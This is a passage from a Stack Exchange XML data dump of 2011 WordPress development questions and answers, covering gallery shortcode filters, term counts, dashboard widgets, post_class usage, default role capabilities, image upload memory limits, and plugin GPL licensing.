gallery-caption&quot;&amp;gt;';&#xA;            $output .= wptexturize( $attachment-&amp;gt;post_excerpt );&#xA;            $output .= '&amp;lt;/'.$captiontag.'&amp;gt;';&#xA;        }&#xA;        $output .= '&amp;lt;/'.$itemtag.'&amp;gt;';&#xA;    }&#xA;    $output .= ''.&quot;\n&quot;;&#xA;&#xA;    return $output;&#xA;}&#xA;add_filter( 'post_gallery', 'modified_post_gallery', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-18T18:51:57.980" LastActivityDate="2011-05-18T18:51:57.980" Title="Replacement for gallery_shortcode function not taking all attributes" Tags="&lt;shortcode&gt;&lt;gallery&gt;&lt;callbacks&gt;" AnswerCount="1" />
  <row Id="17620" PostTypeId="2" ParentId="17618" CreationDate="2011-05-18T18:39:08.160" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function modified_post_gallery( $blank = NULL, $attr ) &#xA;{&#xA;    echo '&amp;lt;pre&amp;gt;'; &#xA;            print_r( $attr ); &#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_filter( 'post_gallery', 'modified_post_gallery', 10, 2);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In media.php it shows the filter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Allow plugins/themes to override the default gallery template.&#xA;$output = apply_filters('post_gallery', '', $attr);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its passing two variables not one and $attr is on the second variable.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-18T18:39:08.160" CommentCount="2" />
  <row Id="17621" PostTypeId="1" CreationDate="2011-05-18T19:46:45.333" Score="3" ViewCount="161" Body="&lt;p&gt;Working on revamping a plugin of mine when I noticed that &lt;code&gt;wp_count_terms()&lt;/code&gt; is not reflecting the same number as a call to &lt;code&gt;count( get_terms() )&lt;/code&gt; with the same $args passed. I'm pretty sure this is a bug in WordPress and I'll submit a trac ticket in a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to get a solid working solution, so I ended up just making one call to &lt;code&gt;get_terms()&lt;/code&gt; and then using &lt;code&gt;count()&lt;/code&gt; on the array to get the count. My question is: &quot;How many terms can be returned without slowing everything down&quot;. It's possible that there could be scaling issues here where there are a lot of terms in a taxonomy, but how many is TOO many? 1,000? 10,000?  Just looking for a ballpark here.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-08-17T05:25:51.903" Title="get_terms() How many is TOO many?" Tags="&lt;taxonomy&gt;&lt;get-terms&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="17622" PostTypeId="1" AcceptedAnswerId="17623" CreationDate="2011-05-18T20:10:10.493" Score="0" ViewCount="183" Body="&lt;p&gt;I have a custom post type archive template archive-my-posttype.php with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These post types have a custom taxonomy called theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am displaying these themes(terms) in the sidebar as a checkbox list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I filter the custom post type based on the selected themes/checkboxes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be accomplished by adding a query_var parameter (theme_filter) and somehow modifing wp_query with the pre_get_posts filter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to let WP handle pagination rather than have to rewrite it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2450" LastActivityDate="2011-05-18T20:54:10.290" Title="Custom post type archive with dynamic taxonomy filtering - is it possible" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="17623" PostTypeId="2" ParentId="17622" CreationDate="2011-05-18T20:54:10.290" Score="1" ViewCount="" Body="&lt;p&gt;I believe that what you are describing is how WordPress works out of the box. You will just need to create custom links in your sidebar. Something like &lt;code&gt;example.com/?post_type=your-custom-post-type-slug&amp;amp;theme=taco&lt;/code&gt; should query for &quot;all custom posts about the theme named taco&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-18T20:54:10.290" CommentCount="1" />
  <row Id="17624" PostTypeId="2" ParentId="17621" CreationDate="2011-05-18T20:55:19.947" Score="0" ViewCount="" Body="&lt;p&gt;&lt;h3&gt;Ad slowing down)&lt;/h3&gt; Lame answer: depends on your server and stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;h3&gt;Ad possible bug)&lt;/h3&gt; &lt;code&gt;wp_count_terms();&lt;/code&gt; is a level &quot;above&quot; &lt;code&gt;get_terms();&lt;/code&gt; and therefore has values like &lt;code&gt;'hide_empty'&lt;/code&gt; and &lt;code&gt;'fields'&lt;/code&gt; already set. I'd say: diff your &lt;code&gt;$args&lt;/code&gt; against those predefinied by &lt;code&gt;wp_count_term();&lt;/code&gt;. The later function does nothing than calling the &lt;code&gt;get_terms()&lt;/code&gt; at it's end.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-18T20:55:19.947" CommentCount="3" />
  <row Id="17625" PostTypeId="1" AcceptedAnswerId="17651" CreationDate="2011-05-18T21:40:46.320" Score="2" ViewCount="190" Body="&lt;p&gt;I have a lot of custom post types and I have them showing in my &quot;Right Now&quot; Dashboard but it's gotten pretty long so I want to separate them to a custom widget within the dash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ge0Yy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how do I add the CPTs to a custom dashboard widget?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be awesome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is what I have (What am I missing?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// wp_dashboard_setup is the action hook&#xA;&#xA;add_action('wp_dashboard_setup', 'mycustom_moviestats');&#xA;&#xA;&#xA;// add dashboard widget&#xA;function mycustom_moviestats() {&#xA;&#xA;wp_add_dashboard_widget('custom_movie_widget', 'Movie Stats',                  'custom_dashboard_movie_list');&#xA;&#xA;}&#xA;&#xA;function custom_dashboard_movie_list(){&#xA;&#xA;// here is the code to add custom post types + count see below&#xA;&#xA;function my_right_now() {&#xA;$num_widgets = wp_count_posts( 'widget' );&#xA;&#xA;$num = number_format_i18n( $num_widgets-&amp;gt;publish );&#xA;$text = _n( 'Widget', 'Widgets', $num_widgets-&amp;gt;publish );&#xA;if ( current_user_can( 'edit_pages' ) ) { &#xA;    $num = &quot;&amp;lt;a href='edit.php?post_type=widget'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;    $text = &quot;&amp;lt;a href='edit.php?post_type=widget'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;}   &#xA;&#xA;echo '&amp;lt;tr&amp;gt;';&#xA;echo '&amp;lt;td class=&quot;first b b_pages&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;echo '&amp;lt;td class=&quot;t pages&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;add_action( 'right_now_content_table_end', 'my_right_now' );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4640" LastEditorUserId="4640" LastEditorDisplayName="" LastEditDate="2011-05-19T00:01:36.090" LastActivityDate="2011-05-19T06:07:38.483" Title="Add custom post types stats to a custom dashboard widget" Tags="&lt;custom-post-types&gt;&lt;widgets&gt;&lt;dashboard&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" />
  <row Id="17626" PostTypeId="1" AcceptedAnswerId="17657" CreationDate="2011-05-18T21:54:38.150" Score="0" ViewCount="77" Body="&lt;p&gt;I'm trying to use WordPress template tags (through shortcodes) to merge the post title and url into hyperlink html code. Which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;[Permalink]&quot;&amp;gt;[Post Title]&amp;lt;/a&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is the text output uses curly quotes around the &quot;Permalink&quot; that are not compatible with html code. I tried placing hyperlink code using template tags (shortcodes) into a code snippet box, however then the shortcodes won't run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to merge the template tags (through shortcodes) into the hyperlink html code first, then have it show up in a code snippet box. Any ideas on how to do that?&lt;/p&gt;&#xA;" OwnerUserId="5484" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-05-19T16:52:25.200" LastActivityDate="2011-05-19T16:52:25.200" Title="Use template tags in code snippets wordpress" Tags="&lt;template-tags&gt;" AnswerCount="1" />
  <row Id="17627" PostTypeId="2" ParentId="17625" CreationDate="2011-05-18T22:01:17.207" Score="0" ViewCount="" Body="&lt;p&gt;I think this will work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// wp_dashboard_setup is the action hook&#xA;&#xA;add_action('wp_dashboard_setup', 'mycustom_moviestats');&#xA;&#xA;&#xA;// add dashboard widget&#xA;function mycustom_moviestats() {&#xA;&#xA;&#xA;wp_add_dashboard_widget('custom_movie_widget', 'widget name', 'custom_dashboard_movie_list');&#xA;&#xA;}&#xA;&#xA;function custom_dashboard_movie_list(){&#xA;&#xA;// here is the code to add custom post types + count see below&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code to add custom post types + count has already been answered and it would clutter this. It can be found here, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5318/adding-custom-post-type-counts-to-the-dashboard&quot;&gt;Adding Custom Post Type Counts to the Dashboard&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-18T23:52:14.833" LastActivityDate="2011-05-18T23:52:14.833" CommentCount="6" />
  <row Id="17628" PostTypeId="1" AcceptedAnswerId="17631" CreationDate="2011-05-18T22:21:44.147" Score="1" ViewCount="88" Body="&lt;p&gt;The following bit of code results in a duplicate attribute site validation error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This template script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;clearfix&quot; &amp;lt;?php post_class() ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produces this source output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;clearfix&quot; class=&quot;post-263 post type-post status-publish format-st…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress adds its own post-related classes to format the blog entry. Is there any way I can add my &quot;clearfix&quot; class to the template without producing the duplicate attributes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2011-05-18T22:30:43.347" Title="Duplicate attribute class causing site validation error" Tags="&lt;css&gt;&lt;validation&gt;&lt;post-class&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17629" PostTypeId="2" ParentId="17614" CreationDate="2011-05-18T22:23:31.510" Score="1" ViewCount="" Body="&lt;p&gt;try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:5:{&#xA;s:13:&quot;administrator&quot;;a:2:{s:4:&quot;name&quot;;s:13:&quot;Administrator&quot;;s:12:&quot;capabilities&quot;;a:54:{s:13:&quot;switch_themes&quot;;b:1;s:11:&quot;edit_themes&quot;;b:1;s:16:&quot;activate_plugins&quot;;b:1;s:12:&quot;edit_plugins&quot;;b:1;s:10:&quot;edit_users&quot;;b:1;s:10:&quot;edit_files&quot;;b:1;s:14:&quot;manage_options&quot;;b:1;s:17:&quot;moderate_comments&quot;;b:1;s:17:&quot;manage_categories&quot;;b:1;s:12:&quot;manage_links&quot;;b:1;s:12:&quot;upload_files&quot;;b:1;s:6:&quot;import&quot;;b:1;s:15:&quot;unfiltered_html&quot;;b:1;s:10:&quot;edit_posts&quot;;b:1;s:17:&quot;edit_others_posts&quot;;b:1;s:20:&quot;edit_published_posts&quot;;b:1;s:13:&quot;publish_posts&quot;;b:1;s:10:&quot;edit_pages&quot;;b:1;s:4:&quot;read&quot;;b:1;s:8:&quot;level_10&quot;;b:1;s:7:&quot;level_9&quot;;b:1;s:7:&quot;level_8&quot;;b:1;s:7:&quot;level_7&quot;;b:1;s:7:&quot;level_6&quot;;b:1;s:7:&quot;level_5&quot;;b:1;s:7:&quot;level_4&quot;;b:1;s:7:&quot;level_3&quot;;b:1;s:7:&quot;level_2&quot;;b:1;s:7:&quot;level_1&quot;;b:1;s:7:&quot;level_0&quot;;b:1;s:17:&quot;edit_others_pages&quot;;b:1;s:20:&quot;edit_published_pages&quot;;b:1;s:13:&quot;publish_pages&quot;;b:1;s:12:&quot;delete_pages&quot;;b:1;s:19:&quot;delete_others_pages&quot;;b:1;s:22:&quot;delete_published_pages&quot;;b:1;s:12:&quot;delete_posts&quot;;b:1;s:19:&quot;delete_others_posts&quot;;b:1;s:22:&quot;delete_published_posts&quot;;b:1;s:20:&quot;delete_private_posts&quot;;b:1;s:18:&quot;edit_private_posts&quot;;b:1;s:18:&quot;read_private_posts&quot;;b:1;s:20:&quot;delete_private_pages&quot;;b:1;s:18:&quot;edit_private_pages&quot;;b:1;s:18:&quot;read_private_pages&quot;;b:1;s:12:&quot;delete_users&quot;;b:1;s:12:&quot;create_users&quot;;b:1;s:17:&quot;unfiltered_upload&quot;;b:1;s:14:&quot;edit_dashboard&quot;;b:1;s:14:&quot;update_plugins&quot;;b:1;s:14:&quot;delete_plugins&quot;;b:1;s:15:&quot;install_plugins&quot;;b:1;s:13:&quot;update_themes&quot;;b:1;s:14:&quot;install_themes&quot;;b:1;}}&#xA;s:6:&quot;editor&quot;;a:2:{s:4:&quot;name&quot;;s:6:&quot;Editor&quot;;s:12:&quot;capabilities&quot;;a:34:{s:17:&quot;moderate_comments&quot;;b:1;s:17:&quot;manage_categories&quot;;b:1;s:12:&quot;manage_links&quot;;b:1;s:12:&quot;upload_files&quot;;b:1;s:15:&quot;unfiltered_html&quot;;b:1;s:10:&quot;edit_posts&quot;;b:1;s:17:&quot;edit_others_posts&quot;;b:1;s:20:&quot;edit_published_posts&quot;;b:1;s:13:&quot;publish_posts&quot;;b:1;s:10:&quot;edit_pages&quot;;b:1;s:4:&quot;read&quot;;b:1;s:7:&quot;level_7&quot;;b:1;s:7:&quot;level_6&quot;;b:1;s:7:&quot;level_5&quot;;b:1;s:7:&quot;level_4&quot;;b:1;s:7:&quot;level_3&quot;;b:1;s:7:&quot;level_2&quot;;b:1;s:7:&quot;level_1&quot;;b:1;s:7:&quot;level_0&quot;;b:1;s:17:&quot;edit_others_pages&quot;;b:1;s:20:&quot;edit_published_pages&quot;;b:1;s:13:&quot;publish_pages&quot;;b:1;s:12:&quot;delete_pages&quot;;b:1;s:19:&quot;delete_others_pages&quot;;b:1;s:22:&quot;delete_published_pages&quot;;b:1;s:12:&quot;delete_posts&quot;;b:1;s:19:&quot;delete_others_posts&quot;;b:1;s:22:&quot;delete_published_posts&quot;;b:1;s:20:&quot;delete_private_posts&quot;;b:1;s:18:&quot;edit_private_posts&quot;;b:1;s:18:&quot;read_private_posts&quot;;b:1;s:20:&quot;delete_private_pages&quot;;b:1;s:18:&quot;edit_private_pages&quot;;b:1;s:18:&quot;read_private_pages&quot;;b:1;}}&#xA;s:6:&quot;author&quot;;a:2:{s:4:&quot;name&quot;;s:6:&quot;Author&quot;;s:12:&quot;capabilities&quot;;a:10:{s:12:&quot;upload_files&quot;;b:1;s:10:&quot;edit_posts&quot;;b:1;s:20:&quot;edit_published_posts&quot;;b:1;s:13:&quot;publish_posts&quot;;b:1;s:4:&quot;read&quot;;b:1;s:7:&quot;level_2&quot;;b:1;s:7:&quot;level_1&quot;;b:1;s:7:&quot;level_0&quot;;b:1;s:12:&quot;delete_posts&quot;;b:1;s:22:&quot;delete_published_posts&quot;;b:1;}}&#xA;s:11:&quot;contributor&quot;;a:2:{s:4:&quot;name&quot;;s:11:&quot;Contributor&quot;;s:12:&quot;capabilities&quot;;a:5:{s:10:&quot;edit_posts&quot;;b:1;s:4:&quot;read&quot;;b:1;s:7:&quot;level_1&quot;;b:1;s:7:&quot;level_0&quot;;b:1;s:12:&quot;delete_posts&quot;;b:1;}}&#xA;s:10:&quot;subscriber&quot;;a:2:{s:4:&quot;name&quot;;s:10:&quot;Subscriber&quot;;s:12:&quot;capabilities&quot;;a:2:{s:4:&quot;read&quot;;b:1;s:7:&quot;level_0&quot;;b:1;}}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which are the roles and capabilities that are set by default.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-18T22:23:31.510" CommentCount="5" />
  <row Id="17630" PostTypeId="2" ParentId="17526" CreationDate="2011-05-18T22:25:35.330" Score="3" ViewCount="" Body="&lt;p&gt;I've had the same issue in the past when uploading very large images. When it comes to crunching the image it fails and shows HTTP ERROR in red. However other images continue to load. It wasnt file size where it would fail but rather the pixel width and height of the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default PHP settings, the most GD libary can handle per image is 1,000,000 pixels which is 1024px*1024px&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you know: 8,000 pixels times 8,000 pixels times four bytes for truecolor equals a walloping 256 megabytes. Now I know no shared hosting webhost that allows you a PHP memory limit of 256MB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I was able to find, of which I'm offering to you, is to reduce the size of the images beging uploaded. Alternativly convince your webhost to up PHP memory limit, which is unlikely.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-18T22:25:35.330" CommentCount="1" />
  <row Id="17631" PostTypeId="2" ParentId="17628" CreationDate="2011-05-18T22:30:43.347" Score="5" ViewCount="" Body="&lt;p&gt;Simple fix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div &amp;lt;?php post_class(&quot;clearfix&quot;); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_class&quot; rel=&quot;nofollow&quot;&gt;post_class()&lt;/a&gt; for more details&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-18T22:30:43.347" CommentCount="2" />
  <row Id="17632" PostTypeId="1" CreationDate="2011-05-18T22:51:41.967" Score="0" ViewCount="53" Body="&lt;p&gt;I've upgraded from 2.8.4 to 3.1.2. There were &lt;a href=&quot;http://www.notoriouswebmaster.com/2011/05/16/when-wordpress-goes-wrong/&quot; rel=&quot;nofollow&quot;&gt;a number of issues&lt;/a&gt;, which are now largely resolved. But Jetpack continues to be problematic. I keep getting this error message in the stats block on the dashboard:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;unknown_token: It looks like your Jetpack connection is broken. Try disconnecting from WordPress.com then reconnecting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've found no references to this issue on the web. (Except for a Greek translation in Automattic's svn archive.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I tried logging in and out of WordPress.com. I also cleared out the cookies in my blog and in wordpress.com. All to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody seen this error? Any idea how to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="5397" LastActivityDate="2011-05-19T11:57:14.987" Title="Jetpack Connection Broken" Tags="&lt;dashboard&gt;&lt;jetpack&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17633" PostTypeId="1" AcceptedAnswerId="17635" CreationDate="2011-05-18T23:27:53.520" Score="0" ViewCount="73" Body="&lt;p&gt;As the title says, if a single dash is used with a space between each side eg. 'Die Hard - Action Film' is written in to a WordPress post, once published it comes out as 'Die Hard -- Action Film'. If no spaces are used around the dash it works, but obviously this isn't desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've obviously found out it's not something that happens with a default install of Wordpress but I can't seem to pinpoint what the cause is in my theme.&lt;/p&gt;&#xA;" OwnerUserId="5487" LastEditorUserId="5487" LastEditorDisplayName="" LastEditDate="2011-05-19T05:20:24.400" LastActivityDate="2011-05-19T05:20:24.400" Title="Single dash converted to double dash" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;content&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="17634" PostTypeId="2" ParentId="17504" CreationDate="2011-05-18T23:52:14.633" Score="0" ViewCount="" Body="&lt;p&gt;Perhaps this plugin can help: &lt;a href=&quot;http://wordpress.org/extend/plugins/extended-super-admins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/extended-super-admins/&lt;/a&gt; in combination with hard-coding the global variable, $super_admins, specific to each site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be able to be set in a hook as the site admin menu is loaded -- not quite sure how to enforce that yet.  It seems a promising solution to an issue I'll have to deal with myself, shortly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://svn.automattic.com/wordpress/trunk/wp-admin/includes/ms.php&quot; rel=&quot;nofollow&quot;&gt;http://svn.automattic.com/wordpress/trunk/wp-admin/includes/ms.php&lt;/a&gt; and note the return if the global, $super_admins is already set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;/**&#xA; * Grants super admin privileges.&#xA; *&#xA; * @since 3.0.0&#xA; * @param int $user_id&#xA; */&#xA;function grant_super_admin( $user_id ) {&#xA;    global $super_admins;&#xA;&#xA;    // If global super_admins override is defined, there is nothing to do here.&#xA;    if ( isset($super_admins) )&#xA;        return false;&#xA;&#xA;    do_action( 'grant_super_admin', $user_id );&#xA;&#xA;    // Directly fetch site_admins instead of using get_super_admins()&#xA;    $super_admins = get_site_option( 'site_admins', array( 'admin' ) );&#xA;&#xA;    $user = new WP_User( $user_id );&#xA;    if ( ! in_array( $user-&gt;user_login, $super_admins ) ) {&#xA;        $super_admins[] = $user-&gt;user_login;&#xA;        update_site_option( 'site_admins' , $super_admins );&#xA;        do_action( 'granted_super_admin', $user_id );&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&#xA;/**&#xA; * Revokes super admin privileges.&#xA; *&#xA; * @since 3.0.0&#xA; * @param int $user_id&#xA; */&#xA;function revoke_super_admin( $user_id ) {&#xA;    global $super_admins;&#xA;&#xA;    // If global super_admins override is defined, there is nothing to do here.&#xA;    if ( isset($super_admins) )&#xA;        return false;&#xA;&#xA;    do_action( 'revoke_super_admin', $user_id );&#xA;&#xA;    // Directly fetch site_admins instead of using get_super_admins()&#xA;    $super_admins = get_site_option( 'site_admins', array( 'admin' ) );&#xA;&#xA;    $user = new WP_User( $user_id );&#xA;    if ( $user-&gt;user_email != get_site_option( 'admin_email' ) ) {&#xA;        if ( false !== ( $key = array_search( $user-&gt;user_login, $super_admins ) ) ) {&#xA;            unset( $super_admins[$key] );&#xA;            update_site_option( 'site_admins', $super_admins );&#xA;            do_action( 'revoked_super_admin', $user_id );&#xA;            return true;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-05-18T23:52:14.633" />
  <row Id="17635" PostTypeId="2" ParentId="17633" CreationDate="2011-05-19T00:22:02.623" Score="0" ViewCount="" Body="&lt;p&gt;It's lines 396 - 398 in the smart youtube plugin's &lt;code&gt;smartyoutube.class.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check($the_content, $side = 0)&#xA;{&#xA;    if (strpos($the_content, &quot;httpv&quot;) !== false  ) &#xA;    {&#xA;      $char_codes = array('&amp;amp;#215;', '&amp;amp;#8211;'); // &amp;lt;-- 8211 is an en dash&#xA;      $replacements = array(&quot;x&quot;, &quot;--&quot;); // &amp;lt;-- here's where it's swapping in --&#xA;      $the_content = str_replace($char_codes, $replacements, $the_content); // &amp;lt;--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-19T00:22:02.623" />
  <row Id="17636" PostTypeId="1" AcceptedAnswerId="17638" CreationDate="2011-05-19T01:01:24.337" Score="0" ViewCount="38" Body="&lt;p&gt;From what I have read, I have come to understand that all WordPress plugins,(including premium ones) &lt;a href=&quot;http://wordpress.org/about/license/&quot; rel=&quot;nofollow&quot;&gt;should be GPL licensed&lt;/a&gt;. If this is the case, can the installation be limited to a single domain? As far as I understand, GPL allows you to reuse the code. Doesn't it? I'm asking this because I have seen some premium plugins have single site/multi site licenses.&#xA;Please correct me if this question is wrong.&lt;/p&gt;&#xA;" OwnerUserId="5410" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-05-19T01:38:34.103" LastActivityDate="2011-05-19T01:43:23.787" Title="Single Domain/Multiple Domain installation restrictions allowed for plugins?" Tags="&lt;plugins&gt;&lt;licensing&gt;" AnswerCount="1" />
  <row Id="17637" PostTypeId="1" AcceptedAnswerId="17646" CreationDate="2011-05-19T01:40:30.853" Score="1" ViewCount="132" Body="&lt;p&gt;Currently, permalinks are set to /%postname%/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to prefix &quot;blog&quot; before all standard posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using several custom post types, each with their own rewrite rules in the setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I setup a custom prefix for my standard WordPress posts?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-05-19T05:17:31.237" Title="How do I set a custom base URL for standard posts?" Tags="&lt;permalinks&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="17638" PostTypeId="2" ParentId="17636" CreationDate="2011-05-19T01:43:23.787" Score="1" ViewCount="" Body="&lt;p&gt;GPL prohibits restricting the code in any way.  You can restrict the support or non GPL parts of the plugin (images/css) to a single domain but you can't restrict the GPL code to a single domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ma.tt/2009/10/matt-qa-wordpress-gpl/&quot; rel=&quot;nofollow&quot;&gt;Q&amp;amp;A: WORDPRESS &amp;amp; GPL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MATT MULLENWEG's response to the same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/14iUf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-19T01:43:23.787" />
  <row Id="17639" PostTypeId="1" AcceptedAnswerId="18657" CreationDate="2011-05-19T02:04:21.403" Score="2" ViewCount="302" Body="&lt;p&gt;On the WordPress archive template I am using a custom excerpt function that includes a reference to &lt;code&gt;strip_shortcodes()&lt;/code&gt;. For some reason, shortcodes are being rendered and displayed in the archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://arisehub.org/blog/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://arisehub.org/blog/page/2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scroll down to &quot;Sing a New Song with Joshua Cunningham&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice the script code showing up. That's a shortcode reference to &lt;a href=&quot;http://wordpress.org/extend/plugins/jw-player-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;JW Player&lt;/a&gt;, showing up rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using for the custom excerpt function. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_excerpt($length, $more_text) { &#xA;    global $post;     &#xA;    $text = get_the_content(); &#xA;    $text = strip_shortcodes( $text );    &#xA;    $text = apply_filters('the_content', $text);  &#xA;    $text = str_replace(']]&amp;gt;', ']]&amp;gt;', $text);  &#xA;    $text = strip_tags($text, '&amp;lt;a&amp;gt;, &amp;lt;p&amp;gt;, &amp;lt;strong&amp;gt;, &amp;lt;em&amp;gt;, &amp;lt;b&amp;gt;');&#xA;&#xA;&#xA;    if(!empty($length)){&#xA;        $excerpt_length = apply_filters('excerpt_length', $length); &#xA;    } else {&#xA;        $excerpt_length = apply_filters('excerpt_length', 180); &#xA;    }&#xA;&#xA;    if(!empty($more_text)){&#xA;        $excerpt_more = apply_filters('excerpt_more', ' ' . '&amp;amp;hellip; &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;id).'&quot; 